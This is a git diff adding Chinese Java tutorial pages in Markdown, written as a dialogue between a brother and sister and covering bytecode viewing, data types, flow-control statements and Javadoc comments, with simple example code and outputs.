MAXLOCALS = 1 +} +``` + +是不是就有点懵逼了?新手看到这个很容易头大,不过不要担心,后面我再和大家一块深入研究一下,这里就是感受一下字节码的魅力。 + +那这个字节码文件是怎么看到的呢?可以通过 IDEA 菜单栏中的「View」→「Show Bytecode」查看,如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-04.png) + +PS:字节码并不是机器码,操作系统无法直接识别,需要在操作系统上安装不同版本的 Java 虚拟机(JVM)来识别。通常情况下,我们只需要安装不同版本的 JDK(Java Development Kit,Java 开发工具包)就行了,它里面包含了 JRE(Java Runtime Environment,Java 运行时环境),而 JRE 又包含了 JVM。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-05.png) + +Windows、Linux、MacOS 等操作系统都有相应的 JDK,只要安装好了 JDK 就有了 Java 语言的运行时环境,就可以把一份字节码文件在不同的平台上运行了。可以在 [Oracle 官网](https://www.oracle.com/java/technologies/javase-jdk11-downloads.html)上下载不同版本的 JDK。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-06.png) + +PPS:为什么要查看字节码呢?查看字节码文件更容易让我们搞懂 Java 代码背后的原理,比如搞懂 Java 中的各种语法糖的本质。 + +相比于 IDEA 自带的「Show Bytecode」功能,我更推荐 `jclasslib` 这款插件,可以在插件市场中安装(我已经安装过了)。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-07.png) + +安装完成之后,点击 View -> Show Bytecode With jclasslib 即可通过 jclasslib 查看字节码文件了(点击之前,光标要停留在对应的类文件上),如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-08.png) + +使用 jclasslib 不仅可以直观地查看类对应的字节码文件,还可以查看类的基本信息、常量池、接口、字段、方法等信息,如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-09.png) + + + +也就是说,在编译阶段,Java 会将 Java 源代码文件编译为字节码文件。在这个阶段,编译器会进行一些检查工作,比如说,某个关键字是不是写错了,语法上是不是符合预期了,不能有很明显的错误,否则带到运行时再检查出来就会比较麻烦了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-10.png) \ No newline at end of file diff --git a/docs/basic-grammar/basic-data-type.md b/docs/basic-grammar/basic-data-type.md new file mode 100644 index 0000000000..a2a5ae6246 --- /dev/null +++ b/docs/basic-grammar/basic-data-type.md @@ -0,0 +1,321 @@ + + +“二哥,[上一节](https://mp.weixin.qq.com/s/IgBpLGn0L1HZymgI4hWGVA)提到了 Java 变量的数据类型,是不是指定了类型就限定了变量的取值范围啊?”三妹吸了一口麦香可可奶茶后对我说。 + +“三妹,你不得了啊,长进很大嘛,都学会推理判断了。Java 是一种静态类型的编程语言,这意味着所有变量必须在使用之前声明好,也就是必须得先指定变量的类型和名称。” + +Java 中的数据类型可分为 2 种: + +1)**基本数据类型**。 + +基本数据类型是 Java 语言操作数据的基础,包括 boolean、char、byte、short、int、long、float 和 double,共 8 种。 + +2)**引用数据类型**。 + +除了基本数据类型以外的类型,都是所谓的引用类型。常见的有数组(对,没错,数组是引用类型)、class(也就是类),以及接口(指向的是实现接口的类的对象)。 + +来个思维导图,感受下。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/nine-01.png) + +通过[上一节](https://mp.weixin.qq.com/s/IgBpLGn0L1HZymgI4hWGVA)的学习,我们知道变量可以分为局部变量、成员变量、静态变量。 + +当变量是局部变量的时候,必须得先初始化,否则编译器不允许你使用它。拿 int 来举例吧,看下图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/nine-02.png) + +当变量是成员变量或者静态变量时,可以不进行初始化,它们会有一个默认值,仍然以 int 为例,来看代码: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class LocalVar { + private int a; + static int b; + + public static void main(String[] args) { + LocalVar lv = new LocalVar(); + System.out.println(lv.a); + System.out.println(b); + } +} +``` + +来看输出结果: + +``` +0 +0 +``` + +瞧见没,int 作为成员变量时或者静态变量时的默认值是 0。那不同的基本数据类型,是有不同的默认值和大小的,来个表格感受下。 + +| 数据类型 | 默认值 | 大小 | +| -------- | -------- | ----- | +| boolean | false | 1比特 | +| char | '\u0000' | 2字节 | +| byte | 0 | 1字节 | +| short | 0 | 2字节 | +| int | 0 | 4字节 | +| long | 0L | 8字节 | +| float | 0.0f | 4字节 | +| double | 0.0 | 8字节 | + +那三妹可能要问,“比特和字节是什么鬼?” + +比特币听说过吧?字节跳动听说过吧?这些名字当然不是乱起的,确实和比特、字节有关系。 + +**1)bit(比特)** + +比特作为信息技术的最基本存储单位,非常小,但大名鼎鼎的比特币就是以此命名的,它的简写为小写字母“b”。 + +大家都知道,计算机是以二进制存储数据的,二进制的一位,就是 1 比特,也就是说,比特要么为 0 要么为 1。 + +**2)Byte(字节)** + +通常来说,一个英文字符是一个字节,一个中文字符是两个字节。字节与比特的换算关系是:1 字节 = 8 比特。 + +在往上的单位就是 KB,并不是 1000 字节,因为计算机只认识二进制,因此是 2 的 10 次方,也就是 1024 个字节。 + +(终于知道 1024 和程序员的关系了吧?狗头保命) + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/nine-03.png) + +接下来,我们再来详细地了解一下 8 种基本数据类型。 + +### 01、布尔 + +布尔(boolean)仅用于存储两个值:true 和 false,也就是真和假,通常用于条件的判断。代码示例: + +```java +boolean flag = true; +``` + + +### 02、byte + +byte 的取值范围在 -128 和 127 之间,包含 127。最小值为 -128,最大值为 127,默认值为 0。 + +在网络传输的过程中,为了节省空间,常用字节来作为数据的传输方式。代码示例: + + +```java +byte a = 10; +byte b = -10; +``` + + + + +### 03、short + +short 的取值范围在 -32,768 和 32,767 之间,包含 32,767。最小值为 -32,768,最大值为 32,767,默认值为 0。代码示例: + +```java +short s = 10000; +short r = -5000; +``` + + + +### 04、int + +int 的取值范围在 -2,147,483,648(-2 ^ 31)和 2,147,483,647(2 ^ 31 -1)(含)之间,默认值为 0。如果没有特殊需求,整形数据就用 int。代码示例: + +```java +int a = 100000; +int b = -200000; +``` + +### 05、long + +long 的取值范围在 -9,223,372,036,854,775,808(-2^63) 和 9,223,372,036,854,775,807(2^63 -1)(含)之间,默认值为 0。如果 int 存储不下,就用 long,整形数据就用 int。代码示例: + +```java +long a = 100000L; +long b = -200000L; +``` + +为了和 int 作区分,long 型变量在声明的时候,末尾要带上大写的“L”。不用小写的“l”,是因为小写的“l”容易和数字“1”混淆。 + +### 06、float + +float 是单精度的浮点数,遵循 IEEE 754(二进制浮点数算术标准),取值范围是无限的,默认值为 0.0f。float 不适合用于精确的数值,比如说货币。代码示例: + +```java +float f1 = 234.5f; +``` + +为了和 double 作区分,float 型变量在声明的时候,末尾要带上小写的“f”。不需要使用大写的“F”,是因为小写的“f”很容易辨别。 + + +### 07、double + +double 是双精度的浮点数,遵循 IEEE 754(二进制浮点数算术标准),取值范围也是无限的,默认值为 0.0。double 同样不适合用于精确的数值,比如说货币。代码示例: + +```java +double d1 = 12.3 +``` + +那精确的数值用什么表示呢?最好使用 BigDecimal,它可以表示一个任意大小且精度完全准确的浮点数。针对货币类型的数值,也可以先乘以 100 转成整形进行处理。 + +Tips:单精度是这样的格式,1 位符号,8 位指数,23 位小数,有效位数为 7 位。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/nine-04.png) + +双精度是这样的格式,1 位符号,11 位指数,52 为小数,有效位数为 16 位。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/nine-05.png) + +取值范围取决于指数位,计算精度取决于小数位(尾数)。小数位越多,则能表示的数越大,那么计算精度则越高。 + +>一个数由若干位数字组成,其中影响测量精度的数字称作有效数字,也称有效数位。有效数字指科学计算中用以表示一个浮点数精度的那些数字。一般地,指一个用小数形式表示的浮点数中,从第一个非零的数字算起的所有数字。如 1.24 和 0.00124 的有效数字都有 3 位。 + +### 08、char + +char 可以表示一个 16 位的 Unicode 字符,其值范围在 '\u0000'(0)和 '\uffff'(65,535)(包含)之间。代码示例: + +```java +char letterA = 'A'; // 用英文的单引号包裹住。 +``` + +那三妹可能要问,“char 既然只有一个字符,为什么占 2 个字节呢?” + +“主要是因为 Java 使用的是 Unicode 字符集而不是 ASCII 字符集。” + +这又是为什么呢?我们留到下一节再讲。 + +基本数据类型在作为成员变量和静态变量的时候有默认值,引用数据类型也有的。 + +String 是最典型的引用数据类型,所以我们就拿 String 类举例,看下面这段代码: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class LocalRef { + private String a; + static String b; + + public static void main(String[] args) { + LocalRef lv = new LocalRef(); + System.out.println(lv.a); + System.out.println(b); + } +} +``` + +输出结果如下所示: + +``` +null +null +``` + +null 在 Java 中是一个很神奇的存在,在你以后的程序生涯中,见它的次数不会少,尤其是伴随着令人烦恼的“[空指针异常](https://mp.weixin.qq.com/s/PBqR_uj6dd4xKEX8SUWIYQ)”,也就是所谓的 `NullPointerException`。 + +也就是说,引用数据类型的默认值为 null,包括数组和接口。 + +那三妹是不是很好奇,为什么数组和接口也是引用数据类型啊? + +先来看数组: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 java + */ +public class ArrayDemo { + public static void main(String[] args) { + int [] arrays = {1,2,3}; + System.out.println(arrays); + } +} +``` + +arrays 是一个 int 类型的数组,对吧?打印结果如下所示: + +``` +[I@2d209079 +``` + +`[I` 表示数组是 int 类型的,@ 后面是十六进制的 hashCode——这样的打印结果太“人性化”了,一般人表示看不懂!为什么会这样显示呢?查看一下 `java.lang.Object` 类的 `toString()` 方法就明白了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/nine-06.png) + +数组虽然没有显式定义成一个类,但它的确是一个对象,继承了祖先类 Object 的所有方法。那为什么数组不单独定义一个类来表示呢?就像字符串 String 类那样呢? + +一个合理的解释是 Java 将其隐藏了。假如真的存在一个 Array.java,我们也可以假想它真实的样子,它必须要定义一个容器来存放数组的元素,就像 String 类那样。 + +```java +public final class String + implements java.io.Serializable, Comparable, CharSequence { + /** The value is used for character storage. */ + private final char value[]; +} +``` + +数组内部定义数组?没必要的! + +再来看接口: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class IntefaceDemo { + public static void main(String[] args) { + List list = new ArrayList<>(); + System.out.println(list); + } +} +``` + +List 是一个非常典型的接口: + +```java +public interface List extends Collection {} +``` + +而 ArrayList 是 List 接口的一个实现: + +```java +public class ArrayList extends AbstractList + implements List, RandomAccess, Cloneable, java.io.Serializable +{} +``` + +对于接口类型的引用变量来说,你没法直接 new 一个: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/nine-07.png) + + +只能 new 一个实现它的类的对象——那自然接口也是引用数据类型了。 + +来看一下基本数据类型和引用数据类型之间最大的差别。 + +基本数据类型: + +1、变量名指向具体的数值。 +2、基本数据类型存储在栈上。 + +引用数据类型: + +1、变量名指向的是存储对象的内存地址,在栈上。 +2、内存地址指向的对象存储在堆上。 + +看到这,三妹是不是又要问,“堆是什么,栈又是什么?” + +堆是堆(heap),栈是栈(stack),如果看到“堆栈”的话,请不要怀疑自己,那是翻译的错,堆栈也是栈,反正我很不喜欢“堆栈”这种叫法,容易让新人掉坑里。 + +堆是在程序运行时在内存中申请的空间(可理解为动态的过程);切记,不是在编译时;因此,Java 中的对象就放在这里,这样做的好处就是: + +>当需要一个对象时,只需要通过 new 关键字写一行代码即可,当执行这行代码时,会自动在内存的“堆”区分配空间——这样就很灵活。 + +栈,能够和处理器(CPU,也就是脑子)直接关联,因此访问速度更快。既然访问速度快,要好好利用啊!Java 就把对象的引用放在栈里。为什么呢?因为引用的使用频率高吗? + +不是的,因为 Java 在编译程序时,必须明确的知道存储在栈里的东西的生命周期,否则就没法释放旧的内存来开辟新的内存空间存放引用——空间就那么大,前浪要把后浪拍死在沙滩上啊。 + +这么说就理解了吧? + +“好了,三妹,关于 Java 中的数据类型就先说这么多吧,你是不是已经清楚了?”转动了一下僵硬的脖子后,我对三妹说。 \ No newline at end of file diff --git a/docs/basic-grammar/flow-control.md b/docs/basic-grammar/flow-control.md new file mode 100644 index 0000000000..629a28e9df --- /dev/null +++ b/docs/basic-grammar/flow-control.md @@ -0,0 +1,906 @@ + + +“二哥,流程控制语句都有哪些呢?”三妹的脸上泛着甜甜的笑容,她开始对接下来要学习的内容充满期待了,这正是我感到欣慰的地方。 + +“比如说 if-else、switch、for、while、do-while、return、break、continue 等等,接下来,我们一个个来了解下。” + +### 01、if-else 相关 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-01.png) + + +**1)if 语句** + +if 语句的格式如下: + +```java +if(布尔表达式){ +// 如果条件为 true,则执行这块代码 +} +``` + +画个流程图表示一下: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-02.png) + + +来写个示例: + +```java +public class IfExample { + public static void main(String[] args) { + int age = 20; + if (age < 30) { + System.out.println("青春年华"); + } + } +} +``` + +输出: + +``` +青春年华 +``` + +**2)if-else 语句** + +if-else 语句的格式如下: + +```java +if(布尔表达式){ +// 条件为 true 时执行的代码块 +}else{ +// 条件为 false 时执行的代码块 +} +``` + +画个流程图表示一下: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-03.png) + + +来写个示例: + +```java +public class IfElseExample { + public static void main(String[] args) { + int age = 31; + if (age < 30) { + System.out.println("青春年华"); + } else { + System.out.println("而立之年"); + } + } +} +``` + +输出: + +``` +而立之年 +``` + +除了这个例子之外,还有一个判断闰年(被 4 整除但不能被 100 整除或者被 400 整除)的例子: + +```java +public class LeapYear { + public static void main(String[] args) { + int year = 2020; + if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) { + System.out.println("闰年"); + } else { + System.out.println("普通年份"); + } + } +} +``` + +输出: + +``` +闰年 +``` + +如果执行语句比较简单的话,可以使用三元运算符来代替 if-else 语句,如果条件为 true,返回 ? 后面 : 前面的值;如果条件为 false,返回 : 后面的值。 + +```java +public class IfElseTernaryExample { + public static void main(String[] args) { + int num = 13; + String result = (num % 2 == 0) ? "偶数" : "奇数"; + System.out.println(result); + } +} +``` + +输出: + +``` +奇数 +``` + +**3)if-else-if 语句** + +if-else-if 语句的格式如下: + +```java +if(条件1){ +// 条件1 为 true 时执行的代码 +}else if(条件2){ +// 条件2 为 true 时执行的代码 +} +else if(条件3){ +// 条件3 为 true 时执行的代码 +} +... +else{ +// 以上条件均为 false 时执行的代码 +} +``` + +画个流程图表示一下: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-04.png) + + +来写个示例: + +```java +public class IfElseIfExample { + public static void main(String[] args) { + int age = 31; + if (age < 30) { + System.out.println("青春年华"); + } else if (age >= 30 && age < 40 ) { + System.out.println("而立之年"); + } else if (age >= 40 && age < 50 ) { + System.out.println("不惑之年"); + } else { + System.out.println("知天命"); + } + } +} +``` + +输出: + +``` +而立之年 +``` + +**4)if 嵌套语句** + +if 嵌套语句的格式如下: + +```java +if(外侧条件){ + // 外侧条件为 true 时执行的代码 + if(内侧条件){ + // 内侧条件为 true 时执行的代码 + } +} +``` + +画个流程图表示一下: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-05.png) + + +来写个示例: + +```java +public class NestedIfExample { + public static void main(String[] args) { + int age = 20; + boolean isGirl = true; + if (age >= 20) { + if (isGirl) { + System.out.println("女生法定结婚年龄"); + } + } + } +} +``` + +输出: + +``` +女生法定结婚年龄 +``` + +### 02、switch 语句 + +switch 语句用来判断变量与多个值之间的相等性。变量的类型可以是 byte、short、int、long,或者对应的包装器类型 Byte、Short、Integer、Long,以及字符串和枚举。 + +来看一下 switch 语句的格式: + +```java +switch(变量) { +case 可选值1: + // 可选值1匹配后执行的代码; + break; // 该关键字是可选项 +case 可选值2: + // 可选值2匹配后执行的代码; + break; // 该关键字是可选项 +...... + +default: // 该关键字是可选项 + // 所有可选值都不匹配后执行的代码 +} +``` + +- 变量可以有 1 个或者 N 个值。 + +- 值类型必须和变量类型是一致的,并且值是确定的。 + +- 值必须是唯一的,不能重复,否则编译会出错。 + +- break 关键字是可选的,如果没有,则执行下一个 case,如果有,则跳出 switch 语句。 + +- default 关键字也是可选的。 + + + +画个流程图: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-06.png) + + + +来个示例: + +```java +public class Switch1 { + public static void main(String[] args) { + int age = 20; + switch (age) { + case 20 : + System.out.println("上学"); + break; + case 24 : + System.out.println("苏州工作"); + break; + case 30 : + System.out.println("洛阳工作"); + break; + default: + System.out.println("未知"); + break; // 可省略 + } + } +} +``` + +输出: + +``` +上学 +``` + +当两个值要执行的代码相同时,可以把要执行的代码写在下一个 case 语句中,而上一个 case 语句中什么也没有,来看一下示例: + +```java +public class Switch2 { + public static void main(String[] args) { + String name = "沉默王二"; + switch (name) { + case "詹姆斯": + System.out.println("篮球运动员"); + break; + case "穆里尼奥": + System.out.println("足球教练"); + break; + case "沉默王二": + case "沉默王三": + System.out.println("乒乓球爱好者"); + break; + default: + throw new IllegalArgumentException( + "名字没有匹配项"); + + } + } +} +``` + +输出: + +``` +乒乓球爱好者 +``` + +枚举作为 switch 语句的变量也很常见,来看例子: + +```java +public class SwitchEnumDemo { + public enum PlayerTypes { + TENNIS, + FOOTBALL, + BASKETBALL, + UNKNOWN + } + + public static void main(String[] args) { + System.out.println(createPlayer(PlayerTypes.BASKETBALL)); + } + + private static String createPlayer(PlayerTypes playerType) { + switch (playerType) { + case TENNIS: + return "网球运动员费德勒"; + case FOOTBALL: + return "足球运动员C罗"; + case BASKETBALL: + return "篮球运动员詹姆斯"; + case UNKNOWN: + throw new IllegalArgumentException("未知"); + default: + throw new IllegalArgumentException( + "运动员类型: " + playerType); + + } + } +} +``` + +输出: + +``` +篮球运动员詹姆斯 +``` + +### 03、for 循环 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-07.png) + +**1)普通 for 循环** + +普通的 for 循环可以分为 4 个部分: + +1)初始变量:循环开始执行时的初始条件。 + +2)条件:循环每次执行时要判断的条件,如果为 true,就执行循环体;如果为 false,就跳出循环。当然了,条件是可选的,如果没有条件,则会一直循环。 + +3)循环体:循环每次要执行的代码块,直到条件变为 false。 + +4)自增/自减:初识变量变化的方式。 + + + +来看一下普通 for 循环的格式: + + + +```java +for(初识变量;条件;自增/自减){ +// 循环体 +} +``` + + + +画个流程图: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-08.png) + + + + +来个示例: + +```java +public class ForExample { + public static void main(String[] args) { + for (int i = 0; i < 5; i++) { + System.out.println("沉默王三好美啊"); + } + } +} +``` + +输出: + +``` +沉默王三好美啊 +沉默王三好美啊 +沉默王三好美啊 +沉默王三好美啊 +沉默王三好美啊 +``` + +“哎呀,二哥,你真的是变着法夸我啊。” + +“非也非也,三妹,你看不出我其实在夸我自己吗?循环语句还可以嵌套呢,这样就可以打印出更好玩的呢,你要不要看看?” + +“好呀好呀!” + +“看好了啊。” + +```java +public class PyramidForExample { + public static void main(String[] args) { + for (int i = 0; i < 5; i++) { + for (int j = 0;j<= i;j++) { + System.out.print("❤"); + } + System.out.println(); + } + } +} +``` + +打印出什么玩意呢? + +``` +❤ +❤❤ +❤❤❤ +❤❤❤❤ +❤❤❤❤❤ +``` + +“哇,太不可思议了,二哥。” + +“嘿嘿。” + +**2)for-each** + +for-each 循环通常用于遍历数组和集合,它的使用规则比普通的 for 循环还要简单,不需要初始变量,不需要条件,不需要下标来自增或者自减。来看一下语法: + +```java +for(元素类型 元素 : 数组或集合){ +// 要执行的代码 +} +``` + + +来看一下示例: + +```java +public class ForEachExample { + public static void main(String[] args) { + String[] strs = {"沉默王二", "一枚有趣的程序员"}; + + for (String str : strs) { + System.out.println(str); + } + } +} +``` + +输出: + +``` +沉默王二 +一枚有趣的程序员 +``` + +“呀,二哥,你开始王哥卖瓜了啊。” + +“嘿嘿,三妹,你这样说哥会脸红的。” + +**3)无限 for 循环** + +“三妹,你想不想体验一下无限 for 循环的威力,也就是死循环。” + +“二哥,那会有什么样的后果啊?” + +“来,看看就知道了。” + +```java +public class InfinitiveForExample { + public static void main(String[] args) { + for(;;){ + System.out.println("停不下来。。。。"); + } + } +} +``` + +输出: + +``` +停不下来。。。。 +停不下来。。。。 +停不下来。。。。 +停不下来。。。。 +``` + +一旦运行起来,就停不下来了,除非强制停止。 + +### 04、while 循环 + +来看一下 while 循环的格式: + + + +```java +while(条件){ +//循环体 +} +``` + + + +画个流程图: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-09.png) + + + + + +来个示例: + +```java +public class WhileExample { + public static void main(String[] args) { + int i = 0; + while (true) { + System.out.println("沉默王三"); + i++; + if (i == 5) { + break; + } + } + } +} +``` + +“三妹,你猜猜会输出几次?” + +“五次吗?” + +“对了,你可真聪明。” + +``` +沉默王三 +沉默王三 +沉默王三 +沉默王三 +沉默王三 +``` + + + +“三妹,你想不想体验一下无限 while 循环的威力,也就是死循环。” + +“二哥,那会有什么样的后果啊?” + +“来,看看就知道了。” + +```java +public class InfinitiveWhileExample { + public static void main(String[] args) { + while (true) { + System.out.println("停不下来。。。。"); + } + } +} +``` + +输出: + +``` +停不下来。。。。 +停不下来。。。。 +停不下来。。。。 +停不下来。。。。 +``` + +把 while 的条件设置为 true,并且循环体中没有 break 关键字的话,程序一旦运行起来,就根本停不下来了,除非强制停止。 + +### 05、do-while 循环 + +来看一下 do-while 循环的格式: + + + +```java +do{ +// 循环体 +}while(提交); +``` + + + +画个流程图: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-10.png) + + + + + + +来个示例: + +```java +public class DoWhileExample { + public static void main(String[] args) { + int i = 0; + do { + System.out.println("沉默王三"); + i++; + if (i == 5) { + break; + } + } while (true); + } +} +``` + +“三妹,你猜猜会输出几次?” + +“五次吗?” + +“对了,你可真聪明。” + +``` +沉默王三 +沉默王三 +沉默王三 +沉默王三 +沉默王三 +``` + + + +“三妹,你想不想体验一下无限 do-while 循环的威力......” + +“二哥,又来啊,我都腻了。” + +“来吧,例行公事,就假装看看嘛。” + +```java +public class InfinitiveDoWhileExample { + public static void main(String[] args) { + do { + System.out.println("停不下来。。。。"); + } while (true); + } +} +``` + +输出: + +``` +停不下来。。。。 +停不下来。。。。 +停不下来。。。。 +停不下来。。。。 +``` + +把 do-while 的条件设置为 true,并且循环体中没有 break 关键字的话,程序一旦运行起来,就根本停不下来了,除非强制停止。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-11.png) + +### 06、break + +break 关键字通常用于中断循环或 switch 语句,它在指定条件下中断程序的当前流程。如果是内部循环,则仅中断内部循环。 + +可以将 break 关键字用于所有类型循环语句中,比如说 for 循环、while 循环,以及 do-while 循环。 + +来画个流程图感受一下: + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/control/thirteen-12.png) + + +用在 for 循环中的示例: + +```java +for (int i = 1; i <= 10; i++) { + if (i == 5) { + break; + } + System.out.println(i); +} +``` + +用在嵌套 for 循环中的示例: + +```java +for (int i = 1; i <= 3; i++) { + for (int j = 1; j <= 3; j++) { + if (i == 2 && j == 2) { + break; + } + System.out.println(i + " " + j); + } +} +``` + +用在 while 循环中的示例: + +```java +int i = 1; +while (i <= 10) { + if (i == 5) { + i++; + break; + } + System.out.println(i); + i++; +} +``` + +用在 do-while 循环中的示例: + +```java +int j = 1; +do { + if (j == 5) { + j++; + break; + } + System.out.println(j); + j++; +} while (j <= 10); +``` + +用在 switch 语句中的示例: + +```java +switch (age) { + case 20 : + System.out.println("上学"); + break; + case 24 : + System.out.println("苏州工作"); + break; + case 30 : + System.out.println("洛阳工作"); + break; + default: + System.out.println("未知"); + break; // 可省略 +} +``` + +### 07、continue + +当我们需要在 for 循环或者 (do)while 循环中立即跳转到下一个循环时,就可以使用 continue 关键字,通常用于跳过指定条件下的循环体,如果循环是嵌套的,仅跳过当前循环。 + +来个示例: + +```java +public class ContinueDemo { + public static void main(String[] args) { + for (int i = 1; i <= 10; i++) { + if (i == 5) { + // 使用 continue 关键字 + continue;// 5 将会被跳过 + } + System.out.println(i); + } + } +} +``` + +输出: + +``` +1 +2 +3 +4 +6 +7 +8 +9 +10 +``` + +“二哥,5 真的被跳过了呀。” + +“那必须滴。不然就是 bug。” + +再来个循环嵌套的例子。 + +```java +public class ContinueInnerDemo { + public static void main(String[] args) { + for (int i = 1; i <= 3; i++) { + for (int j = 1; j <= 3; j++) { + if (i == 2 && j == 2) { + // 当i=2,j=2时跳过 + continue; + } + System.out.println(i + " " + j); + } + } + } +} +``` + +打印出什么玩意呢? + +``` +1 1 +1 2 +1 3 +2 1 +2 3 +3 1 +3 2 +3 3 +``` + +“2 2” 没有输出,被跳过了。 + +再来看一下 while 循环时 continue 的使用示例: + +```java +public class ContinueWhileDemo { + public static void main(String[] args) { + int i = 1; + while (i <= 10) { + if (i == 5) { + i++; + continue; + } + System.out.println(i); + i++; + } + } +} +``` + +输出: + +``` +1 +2 +3 +4 +6 +7 +8 +9 +10 +``` + +注意:如果把 if 条件中的“i++”省略掉的话,程序就会进入死循环,一直在 continue。 + +最后,再来看一下 do-while 循环时 continue 的使用示例: + +```java +public class ContinueDoWhileDemo { + public static void main(String[] args) { + int i=1; + do{ + if(i==5){ + i++; + continue; + } + System.out.println(i); + i++; + }while(i<=10); + } +} + +``` + +输出: + +``` +1 +2 +3 +4 +6 +7 +8 +9 +10 +``` + +注意:同样的,如果把 if 条件中的“i++”省略掉的话,程序就会进入死循环,一直在 continue。 + +----- + +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! + +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/basic-grammar/javadoc.md b/docs/basic-grammar/javadoc.md new file mode 100644 index 0000000000..5eb560c1c2 --- /dev/null +++ b/docs/basic-grammar/javadoc.md @@ -0,0 +1,174 @@ + + +“二哥,Java 中的注释好像真没什么可讲的,我已经提前预习了,不过是单行注释,多行注释,还有文档注释。”三妹的脸上泛着甜甜的笑容,她竟然提前预习了接下来要学习的知识,有一种“士别三日,当刮目相看”的感觉。 + +“注释的种类确实不多,但还是挺有意思的,且听哥来给你说道说道。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-01.png) + + + + +### 01、单行注释 + +单行注释通常用于解释方法内某单行代码的作用。 + +```java +public void method() { + int age = 18; // age 用于表示年龄 +} +``` + +**但如果写在行尾的话,其实是不符合阿里巴巴的开发规约的**。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-02.png) + +正确的单行注释如上图中所说,在被注释语句上方另起一行,使用 `//` 注释。 + +```java +public void method() { + // age 用于表示年龄 + int age = 18; +} +``` + + +### 02、多行注释 + +多行注释使用的频率其实并不高,通常用于解释一段代码的作用。 + +```java +/* +age 用于表示年纪 +name 用于表示姓名 +*/ +int age = 18; +String name = "沉默王二"; +``` + +以 `/*` 开始,以 `*/` 结束,但不如用多个 `//` 来得痛快,因为 `*` 和 `/` 不在一起,敲起来麻烦。 + +```java +// age 用于表示年纪 +// name 用于表示姓名 +int age = 18; +String name = "沉默王二"; +``` + +### 03、文档注释 + +文档注释可用在三个地方,类、字段和方法,用来解释它们是干嘛的。 + +```java +/** + * 微信搜索「沉默王二」,回复 Java + */ +public class Demo { + /** + * 姓名 + */ + private int age; + + /** + * main 方法作为程序的入口 + * + * @param args 参数 + */ + public static void main(String[] args) { + + } +} +``` + +PS:在 Intellij IDEA 中,按下 `/**` 后敲下回车键就可以自动添加文档注释的格式,`*/` 是自动补全的。 + +接下来,我们来看看如何通过 javadoc 命令生成代码文档。 + +**第一步**,在该类文件上右键,找到「Open in Terminal」 可以打开命令行窗口。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-03.png) + + +**第二步**,执行 javadoc 命令 `javadoc Demo.java -encoding utf-8`。`-encoding utf-8` 可以保证中文不发生乱码。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-04.png) + +**第三步,**执行 `ls -l` 命令就可以看到生成代码文档时产生的文件,主要是一些可以组成网页的 html、js 和 css 文件。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-05.png) + +**第四步**,执行 `open index.html` 命令可以通过默认的浏览器打开文档注释。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-06.png) + +点击「Demo」,可以查看到该类更具体的注释文档。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-07.png) + +### 04、文档注释的注意事项 + +1)`javadoc` 命令只能为 public 和 protected 修饰的字段、方法和类生成文档。 + +default 和 private 修饰的字段和方法的注释将会被忽略掉。因为我们本来就不希望这些字段和方法暴露给调用者。 + +如果类不是 public 的话,javadoc 会执行失败。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/fourteen-08.png) + 